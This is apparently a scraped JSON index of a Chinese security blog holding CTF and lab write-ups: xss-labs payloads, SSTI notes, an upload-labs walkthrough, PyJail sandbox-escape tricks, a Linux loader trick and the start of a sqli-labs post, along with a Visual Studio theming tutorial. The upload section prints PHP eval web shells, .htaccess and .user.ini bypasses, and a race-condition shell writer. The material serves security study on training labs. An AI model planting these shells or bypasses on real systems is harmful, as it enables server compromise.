http://放最后面用//注释掉 level 10-13页面没有注入点看源代码发现隐藏的表单要改为文本框 text 1type="text" onclick="alert(1)" 后面几关都要改 t_sort因为后端获取 t_sort 和 user-agent 等要从相应注入点注入 level 14 exif xss 漏洞,exif 是可交换图像文件格式(英语:Exchangeable image file format,官方简称 Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。我们右键图片选择属性,点击详细信息就可以看到 exif 的相关属性。 喜欢摄影的应该都知道一张照片可以看快门时间 快门次数等很多参数甚至有些照片能看到经纬度这关要用到exifviewer网页但是 level 15level 16对 script、/、空格进行了转换空格不可以就用换行符 1<a%0atype="text"%0a"alert"> level 17-18火狐不支持 swf 格式把链接加网页上显示出这样很奇怪开始整套娃了 要找个支持 flash 的浏览器才能正常打开17-20 关都能用 flash xssflash xss 原理但这里先用别的办法以 18 关为例注入点可以在 arg02但是你连 swf 都没有哪来的 moouseover 哪所以得 url 连接一下 1http://127.0.0.1/xss-labs/level18.php/xsf02.swf?a=?arg01=a&arg02=%20onmouseover=javascript:alert(1) level 19-20Flash XSS 漏洞快速上手flash xss 原理flash 反编译工具以下是大佬的 payload 卑微小杨在线 emoflash 反编译也不懂等有空了再研究吧好多困难等着被克服那这次没支持 flash 的浏览器真没法做 18 关 1http: //10.0.1.83/xsslab/level19.php?arg01=version&arg02=<a href="javascript:alert(/bmfx/)">bmfx</a> ; 19 关 1http: ; //10.0.1.83/xsslab/level20.php?arg01=id&arg02=bmfx\\"))}catch(e){alert(/bmfx/)}//%26width=998%26height=998 setTimeout(function () { alert('xss'); }, 1000);","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"xss","slug":"xss","permalink":"http://s1rius.space/tags/xss/"},{"name":"xss-lab","slug":"xss-lab","permalink":"http://s1rius.space/tags/xss-lab/"}],"author":"s1rius"},{"title":"SSTI模板注入","slug":"SSTI模板注入","date":"2023-07-06T12:36:46.920Z","updated":"2024-05-20T09:27:37.110Z","comments":true,"path":"2023/07/SSTI模板注入/","permalink":"http://s1rius.space/2023/07/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/","excerpt":"","text":"[护网杯 2018]easy_tornadossti 注入点在 msg注入49出现 orz 应该是有过滤 1正常 hint 里缺 cookie_secret该项在 handler.settings Handler 这个对象,Handler 指向的处理当前这个页面的 RequestHandler 对象RequestHandler 中并没有 settings 这个属性,与 RequestHandler 关联的 Application 对象(Requestion.application)才有 setting 这个属性handler 指向 RequestHandler而 RequestHandler.settings 又指向 self.application.settings所有 handler.settings 就指向 RequestHandler.application.settings 了! 然后按 hint 里的 MD5 加密过后传参 1?filename=/fllllllllllllag&filehash=ff92d5623223cadc00efabfc7676f9fe filehash 不同 请自行加密 [BJDCTF2020]The mystery of ip 1234567891011121314151617181920212223242526272829303132333435<?php require_once('header.php'); require_once('./libs/Smarty.class.php'); $smarty = new Smarty(); if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } //$your_ip = $smarty->display("string:".$ip); echo "<div class=\\"container panel1\\"> <div class=\\"row\\"> <div class=\\"col-md-4\\"> </div> <div class=\\"col-md-4\\"> <div class=\\"jumbotron pan\\"> <div class=\\"form-group log\\"> <label><h2>Your IP is : "; $smarty->display("string:".$ip); echo " </h2></label> </div> </div> </div> <div class=\\"col-md-4\\"> </div> </div> </div>"; ?> [BJDCTF2020]Cookie is so stable","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"SSTI","slug":"SSTI","permalink":"http://s1rius.space/tags/SSTI/"},{"name":"模板注入","slug":"模板注入","permalink":"http://s1rius.space/tags/%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/"}],"author":"s1rius"},{"title":"Visual Studio 2022界面美化教程","slug":"Visual Studio 2022界面美化教程","date":"2023-07-06T12:36:46.920Z","updated":"2023-07-13T13:21:44.857Z","comments":true,"path":"2023/07/Visual Studio 2022界面美化教程/","permalink":"http://s1rius.space/2023/07/Visual%20Studio%202022%E7%95%8C%E9%9D%A2%E7%BE%8E%E5%8C%96%E6%95%99%E7%A8%8B/","excerpt":"","text":"我之前用的是2019版本,后来有出新版我也没管,直到前几天他给我推送2022版了,查了下大部分都是好评(bug恐惧症和恋旧),于是我决定入2022版了,但又怕我在2019调好的设置用不到2022上,于是暂时让两个版本共存,等2022调试好了再说2019的事。 这是我在2019上美化用到的插件和设置(因为网上类似的不少,但2022版貌似没有人发过,所以我决定写这篇文章) 不出所料,2022版好多东西更新,导致一些东西不能用了,导入2019版甚至文件的时候,有一部分报错了,要不然就是改名了,要不然就是更新换代了,没大有影响,以萌新目前来看,是往好的方向发展了。 但是我的那些美化插件直接搜名字的话是找不到了,于是我就在那找替代品,就找到了这两个插件。 第一个插件,是2019版变的,变了样之后差点给我整不会了,它是类似于编程。 新建项目 C#里面最后一项 创建之后,把2019版的该插件里的美化设置导出,然后重命名为CustomTheme.vstheme 然后复制到你新创建的2022版那个项目里,选择替换更新,之后项目文件夹里.sln后缀的那个文件打开,选择你之前那个配置的名字,然后运行,不管他蹦出来啥弹窗,等他一打开接着关了就好,之后重启visualstudio就可以了 这个插件是为后面设置背景图片准备 第二个插件我原来用的是moeIDE,但是2022版它不支持了,所以就用新插件代替了。 背景图是B站1024节发布的一张壁纸,我用ps调了下对比度,让他更鲜艳一些","categories":[{"name":"资源","slug":"资源","permalink":"http://s1rius.space/categories/%E8%B5%84%E6%BA%90/"}],"tags":[{"name":"visual studio 2022","slug":"visual-studio-2022","permalink":"http://s1rius.space/tags/visual-studio-2022/"}],"author":"s1rius"},{"title":"upload-labs","slug":"upload-labs","date":"2023-07-06T12:36:46.920Z","updated":"2024-05-20T09:27:37.075Z","comments":true,"path":"2023/07/upload-labs/","permalink":"http://s1rius.space/2023/07/upload-labs/","excerpt":"","text":"pass-01前端 js 过滤 123456789101112131415161718192021function checkFile() { var file = document.getElementsByName("upload_file")[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; }} 最简单的 burp 抓包改后缀 pass-0212345678910111213141516171819$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; }} 用 if 函数结合$_FILES['myfile']['type']判断 MIME 类型 后端改 content-type 将application/octect-stream变为image/jpeg、image/png或image/gif pass-03123456789101112131415161718192021222324252627$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 他经过了许多步 但其实他只匹配了$deny_ext = array('.asp','.aspx','.php','.jsp'); 修改为 php1,php2,php3,php4,php5,phtml 等 与 php 解析相同的后缀皆可 pass-04123456789101112131415161718192021222324252627$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 这回匹配的倒挺多 不过配置文件没过滤 上传.htaccess 文件 写入下面两句中的一句即可 第一句是全按 php 解析 第二句是将 jpg 按 php 解析 12SetHandler application/x-httpd-phpAddType application/x-https-php .jpg pass-05和第 4 关类似 写入.user.ini 文件 1auto_prepend_file=shell.jpg 再配合 shell pass-06这一关源码补上了之前漏网的配置文件 但是这里可以使用大小写绕过 例如.Php pass-07这里补了一句 1$file_ext = strtolower($file_ext); //转换为小写 没法大小写绕过了 这里通过补空格来绕过 .php (空格) pass-08这里补了句首位去空 1$file_ext = trim($file_ext); //首尾去空 这次用 . 绕过 .php. 和上面一样 后面的空格和 . 会被服务器自动删除 pass-09这里补了 1$file_name = deldot($file_name);//删除文件名末尾的点 比之前少了一句 1$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA 使用 1.php::$DATA pass-10这里补回了::$DATA 仔细看这里过滤的顺序 1234567$deny_ext=array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空 仔细看这里过滤的顺序 先去的点然后去的空 于是可以 .php. . 过滤后剩下 .php. pass-1112345678910111213141516171819$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 这里用 trim 函数删去通过$_FILES['upload_ext']['tmp_name']得到的浏览器通过报文传过来的在 burpsuite 中的变量名是 filename 的字符串左右两边的空格 这就省了几步过滤 但是下面这句 $file_name = str_ireplace($deny_ext,"", $file_name); 是匹配到黑名单后替换成空 于是这里可以双写绕过 .pphphp pass-12这次使用了白名单过滤 123456789101112131415161718$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; }} 讲一下 00 截断的原理,在服务器读到十六进制编码为 00 时就会停止读取,而 save_path 是通过 GET 传参的 00 的 GET 传参的数据最终都会经过 URL 解码而%00 解码之后就是十六进制对应的 00,这就导致 move_uploaded_file 函数会读到 00 就结束从而上传成功 .php%00 pass-13代码和十二关一样,只是 save_path 改用 POST 传参了 burpsuite 自带的 16 进制编辑器改 16 进制 找到文件名后缀后面的 0 被改为 00 pass-141234567891011121314151617181920212223242526272829303132333435363738394041function getReailFileType($filename){ $file = fopen($filename, "rb");//以只读 二进制方式打开 $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin);//从二进制字符串对数据进行解包 //'C2char'的意思是二进制文件类型是'unsigned char'转换为char类型最终返回值是一个数组。之后将数组返还给$strinfo函数。 $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);//将$strinfo中的每一个元素转变为int型并且拼接输出给 $typeCode $fileType = ''; switch($typeCode){//switch匹配 case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;}$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } }} 这里本质上是检验的文件头 只要做个文件头正确的图片 🐎 即可 pass-151234567891011121314function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename);//获取文件信息 $ext = image_type_to_extension($info[2]);//返回文件后缀 if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; }} 这里上传图片 🐎 即可 pass-161$image_type = exif_imagetype($filename); 这里的函数替代 15 关的 12$info = getimagesize($filename);//获取文件信息$ext = image_type_to_extension($info[2]);//返回文件后缀 还是图片 🐎 即可 pass-17123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384$is_upload = false;$msg = null;if (isset($_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; }} 这里进行了许多步过滤 简单总结下主要的就是 对 gif、png 或 jpg 文件的格式进行二次渲染 根据上传的文件类型用 imagecreatefromgif 这一类的函数生成一个新的图片 将原本保存下的文件用 unlink 函数删除 据师傅说直接用 cmd 命令行 copy 的文件也能成功上传 也可以用 010editor 比较二次渲染前后的图片 蓝色的部分是未被改变的 可以在那里插入 🐎 pass-181234567891011121314151617181920212223$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; }} 这里过滤的挺充分的 不过黑客大佬们还是有方法 原理简单来说是 文件上传后到原文件被删除有一段时间 利用这段时间 重复发送写入木马的木马 然后不停访问原文件 访问成功后 木马也就被重新写入 写入木马的木马 1<?php puts(fopen('shell.php','r+'),'<? @eval($_POST['shell']);?>');?>//发送的木马 重复发送利用 burp 实现 用 burpsuite 抓包 调用 intruder 模块 打开 payload 板块设置 payload type 为 null payloads 点击下方的 continue indefinitely 连续访问利用脚本实现 12345678910import requestsurl = "http://ip/upload-labs/upload/shell.php"while True: html = requests.get(url) if html.status_code == 200: print("success") break else print("200") pass-19这一关和上面很像 不过 python 连续访问的 url 要变成 1127.0.0.1/upload-labs-master/include.php?file=upload/shell.jpg pass-20这关绕过方法用之前的.php.就可以 不过这关和之前有个很明显的区别 做了个保存名称的 input 12345678910111213141516171819202122232425$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//在这里 if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} pass-21123456789101112131415161718192021222324252627282930313233343536$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); //explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 } $ext = end($file);//end(array)函数,输出数组中的当前元素和最后一个元素的值。 $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; //reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值 //count(array)函数,计算数组中的单元数目,或对象中的属性个数 $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } }}else{ $msg = "请选择要上传的文件!";} 验证上传路径是否存在验证[‘upload_file’]的 content-type 是否合法(可以抓包修改) 判断 POST 参数是否为空定义$file 变量(关键:构造数组绕过下一步的判断) 判断 file 不是数组则使用 explode(‘.’, strtolower($file))对 file 进行切割,将 file 变为一个数组 判断数组最后一个元素是否合法 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名 file_name 上传文件 这里可以用 00 截断 也可以用数组绕过 post 包 12345678910111213141516171819-----------------------------131314876217456529963542266439Content-Disposition: form-data; name="upload_file"; filename="yijuhua.php"Content-Type: image/png<?php @eval($_POST['hack']);?>-----------------------------131314876217456529963542266439Content-Disposition: form-data; name="save_name[0]"upload-20.php-----------------------------131314876217456529963542266439Content-Disposition: form-data; name="save_name[2]"jpg-----------------------------131314876217456529963542266439Content-Disposition: form-data; name="submit"上传-----------------------------131314876217456529963542266439--","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"upload","slug":"upload","permalink":"http://s1rius.space/tags/upload/"},{"name":"upload-labs","slug":"upload-labs","permalink":"http://s1rius.space/tags/upload-labs/"}],"author":"s1rius"},{"title":"PyJail python沙箱逃逸探究","slug":"PyJail python沙箱逃逸探究","date":"2023-07-06T12:36:46.919Z","updated":"2024-05-20T09:27:37.222Z","comments":true,"path":"2023/07/PyJail python沙箱逃逸探究/","permalink":"http://s1rius.space/2023/07/PyJail%20python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%8E%A2%E7%A9%B6/","excerpt":"","text":"python 特性在 python 中,类均继承自object基类; python 魔术方法 __init__:构造函数。这个在实例化类的时候就会用到,一般是接受类初始化的参数,并且进行一系列初始化操作。 __len__:返回对象的长度。 __str__:返回对象的字符串表示。对一个对象a使用str(a)时,会尝试调用a.__str__()。相似地,还有__int__魔术方法也用于类型转换,不过较少使用。 __getitem__:根据索引返回对象的某个元素。对一个对象a使用a[1]时,会尝试调用a.__getitem__(1)。 __add__、__sub__、__mul__、__div__、__mod__:算术运算,加减乘除模。如对一个对象a使用a+b时,会尝试调用a.__add__(b)。相应地,对于有些运算,对象需放在后面(第二个操作数)的,则需实现__radd__、__rsub__、__rmul__、__rdiv__、__rmod__,如椭圆曲线上的点的倍点运算G -> d * G,就可以通过实现__rmul__来实现。 __and__,__or__、__xor__:逻辑运算,和算术运算类似; __eq__,__ne__、__lt__、__gt__、__le__、__ge__:比较运算,和算术运算类似;例如'贵州' > '广西',就会转而调用'贵州'.__gt__('广西'); __getattr__:对象是否含有某属性。如果我们对对象a所对应的类实现了该方法,那么在调用未实现的a.b时,就会转而调用a.__getattr__(b)。这也等价于用函数的方法调用:getattr(a, 'b')。有__getattr__,自然也有对应的__setattr__; __subclasses__:返回当前类的所有子类。一般是用在object类中,在object.__subclasses__()中,我们可以找到os模块中的类,然后再找到os,并且执行os.system,实现 RCE。 python 魔术属性 __dict__:可以查看内部所有属性名和属性值组成的字典。 __doc__:类的帮助文档。默认类均有帮助文档。对于自定义的类,需要我们自己实现。 __class__:返回当前对象所属的类。如''.__class__会返回<class 'str'>。拿到类之后,就可以通过构造函数生成新的对象,如''.__class__(4396),就等价于str(4396),即'4396'; __base__:返回当前类的基类。如str.__base__会返回<class 'object'>; 其他内置函数和变量 dir:查看对象的所有属性和方法。在我们没有思路的时候,可以通过该函数查看所有可以利用的方法;此外,在题目禁用引号以及小数点时,也可以先用拿到类所有可用方法,再索引到方法名,并且通过getattr来拿到目标方法。 chr、ord:字符与 ASCII 码转换函数,能帮我们绕过一些 WAF globals:返回所有全局变量的函数; locals:返回所有局部变量的函数; __import__:载入模块的函数。例如import os等价于os = __import__('os'); __name__:该变量指示当前运行环境位于哪个模块中。如我们 python 一般写的if __name__ == '__main__':,就是来判断是否是直接运行该脚本。如果是从另外的地方 import 的该脚本的话,那__name__就不为__main__,就不会执行之后的代码。更多参考这里; __builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如str、chr、ord、dict、dir等。在 pyjail 的沙箱中,往往__builtins__被置为None,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到__builtins__,再__import__('os').system('sh')进行 RCE; __file__:该变量指示当前运行代码所在路径。如open(__file__).read()就是读取当前运行的 python 文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量; _:该变量返回上一次运行的 python 语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量。 WAF过滤[]使用pop、__getitem__ 代替 例如:a.__getitem__(0)、{"a": 1}.pop("a") 或使用 next 等指针指向(类似无参 RCE 特殊函数遍历) 需要去别的是 python 需要使用迭代器iter(object[, sentinel])作为传入函数 过滤字符chr() 函数构造字符利用输出1str(().__class__.__new__)[i]+…… 12>>>print(str(().__class__.__new__))<built-in method __new__ of type object at 0x00007FFF01FE8AB0> 过滤数字 0:int(bool([]))、Flase、len([])、any(()) 1:int(bool([""]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop()) len:len(str({}.keys)) 1.0:float(True) -1:~0 过滤特殊字符str 被过滤type('')()、format() 即可。同理,int、list 都可以用 type 构造出来。 Non-ASCII Identifiers在 python3 中支持 Non-ASCII Identifies 并且所有都会被转换成 unicode 的 NFKC(也就是标准模式)。我们可以用斜体或者花体各种各样的与标准字母相像的来进行导包操作。 参考链接PyJail python 沙箱逃逸探究·总览 pyjail-学习总结【CV】 | TWe1v3","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"python","slug":"python","permalink":"http://s1rius.space/tags/python/"},{"name":"沙箱逃逸","slug":"沙箱逃逸","permalink":"http://s1rius.space/tags/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/"},{"name":"PyJail","slug":"PyJail","permalink":"http://s1rius.space/tags/PyJail/"}],"author":"s1rius"},{"title":"linux动态加载","slug":"linux动态加载","date":"2023-07-06T12:36:46.919Z","updated":"2024-05-20T09:27:37.235Z","comments":true,"path":"2023/07/linux动态加载/","permalink":"http://s1rius.space/2023/07/linux%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/","excerpt":"","text":"linux 动态加载查看环境先给了 755他自己传了 flag 等于告诉我们在哪了然后限到了 644不想让我们直接看 都到这一题了权限应该不用讲了 提示给了 shell且不需要提权于是需要新学一个东西动态加载 Linux ELF Dynaamic Loaderelf 文件elf 文件是 linux 下的可执行文件文件头为 elf 不知道是靶机还是蚁剑虚拟终端的问题 没法 vi直接 cat 就能看到了 动态库链接器/加载器 当需要动态链接的应用被操作系统加载时 系统必须要定位然后加载它所需要的所有动态库文件 在 Linux 环境下,这项工作是由 ld-linux.so.2 来负责完成的 执行操作时操作系统会将控制权交给 ld-linux.so 而不是交给程序正常的进入地址 ld-linux.so.2 会寻找然后加载所有需要的库文件,然后再将控制权交给应用的起始入口。 ldd 命令使用 ldd 命令即可查看简便的 shell 命令依赖哪些动态加载库 姿势在 cat elf 文件时看到第一行后面/lib64/ld-linux-x86-64.so.2 动态库并且在 ldd可以看到 ls 和 cat 动用他了用!这是他的介绍执行 1/lib64/ld-linux-x86-64.so.2 /readflag get","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ctfhub","slug":"ctfhub","permalink":"http://s1rius.space/tags/ctfhub/"},{"name":"linux","slug":"linux","permalink":"http://s1rius.space/tags/linux/"},{"name":"动态加载","slug":"动态加载","permalink":"http://s1rius.space/tags/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/"}],"author":"s1rius"},{"title":"sqli-lab","slug":"sqli-lab","date":"2023-07-06T12:36:46.919Z","updated":"2024-05-20T09:27:37.162Z","comments":true,"path":"2023/07/sqli-lab/","permalink":"http://s1rius.space/2023/07/sqli-lab/","excerpt":"","text":"sql 注入就是当用户输入一些本不是用户名密码的 sql 语句这些语句没有被过滤执行后通过回显等方式,使注入者获得了数据库的信息 水了几天用来搞 visual studio2022 和 Windows11 所以本文略微简陋写,以后会完善visual studio2022 版美化教程见Visual Studio 2022 界面美化教程. GET 传参先放代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for 